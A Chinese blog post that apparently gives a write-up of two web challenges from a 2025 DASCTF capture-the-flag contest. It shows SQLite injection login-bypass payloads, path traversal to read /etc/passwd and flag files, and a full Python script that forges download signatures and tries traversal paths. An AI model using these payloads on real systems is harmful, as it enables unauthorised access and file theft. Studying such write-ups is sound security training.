Featured image of post 2025DASCTF下半年赛wp

2025DASCTF下半年赛wp

2025DASCTF下半年赛wp

SecretPhotoGallery

sqlite注入

查字段

1
2
' ORDER BY 3 -- 
' ORDER BY 4 -- 

字段是3

直接联合注入就登入了

1
' UNION SELECT 1, 2, 3 -- 

这里登入回显302会跳转到登入成功的首页,尝试布尔盲注注的表是空的,跟题目描述一致

登入进来会显示我们是guest,源码注释得到secretkey是GALLERY2024SECRET

image-20251206123627776

image-20251206123700663

然后有个文件下载的点

image-20251206123730960

可以读etc/passwd

这里猜测常见flag位置,最后猜到是flag.php

image-20251206124206686

devweb

ai一把梭,把js的加密逻辑丢给它一直分析,后面下载app.jmx继续让它分析就出了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests
import base64
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import urllib3

urllib3.disable_warnings()

# === 配置 ===
BASE_URL = "http://3783549a-d35c-4dd5-ab0b-d79f87f6435d.node5.buuoj.cn:81"
LOGIN_URL = f"{BASE_URL}/login"
DOWNLOAD_URL = f"{BASE_URL}/download"
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
SALT = "f9bc855c9df15ba7602945fb939deefc" # 来自 app.jmx

# === 核心函数 ===

def encrypt_password(password):
    """RSA加密密码"""
    key = RSA.importKey(base64.b64decode(PUBLIC_KEY_STR))
    cipher = PKCS1_v1_5.new(key)
    return base64.b64encode(cipher.encrypt(password.encode())).decode()

def calc_sign(filename):
    """
    复现 Groovy 的签名算法:
    1. md5(filename)
    2. substring(5, 16)
    3. md5(md5_str + sub_str + salt)
    """
    # 1. firstMi = MD5(filename)
    first_mi = hashlib.md5(filename.encode()).hexdigest()
    
    # 2. jieStr = substring(5, 16)
    # Java substring(5, 16) 长度为 11,Python 切片是 [5:16]
    jie_str = first_mi[5:16]
    
    # 3. newStr = firstMi + jieStr + salt
    new_str = first_mi + jie_str + SALT
    
    # 4. sign = MD5(newStr)
    sign = hashlib.md5(new_str.encode()).hexdigest()
    
    print(f"[*] Calc Sign for '{filename}':")
    print(f"    MD5: {first_mi}")
    print(f"    Sub: {jie_str}")
    print(f"    Sign: {sign}")
    return sign

def main():
    s = requests.Session()
    
    # 1. 登录
    print("[*] 1. Logging in...")
    try:
        s.post(LOGIN_URL, data={"username": "admin", "password": encrypt_password("123456")}, 
               headers={"Content-Type": "application/x-www-form-urlencoded"}, allow_redirects=False)
    except Exception as e:
        print(f"[!] Login failed: {e}")
        return

    # 2. 攻击
    print("\n[*] 2. Attacking with correct signature...")
    
    # 常见 flag 路径
    targets = ["/flag", "flag", "../flag", "../../../../flag"]
    
    for filename in targets:
        print(f"\n[-] Target File: {filename}")
        
        # 计算签名
        correct_sign = calc_sign(filename)
        
        # 发送请求
        params = {
            "file": filename,
            "sign": correct_sign
        }
        
        try:
            res = s.get(DOWNLOAD_URL, params=params)
            if res.status_code == 200:
                content = res.text
                if len(content) > 0:
                    print(f"[+] SUCCESS! Content:\n{content}")
                    if "flag" in content:
                        break
                else:
                    print("[-] 200 OK but empty content (File might not exist).")
            else:
                print(f"[-] Status: {res.status_code}")
        except Exception as e:
            print(f"[!] Error: {e}")

if __name__ == "__main__":
    main()
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计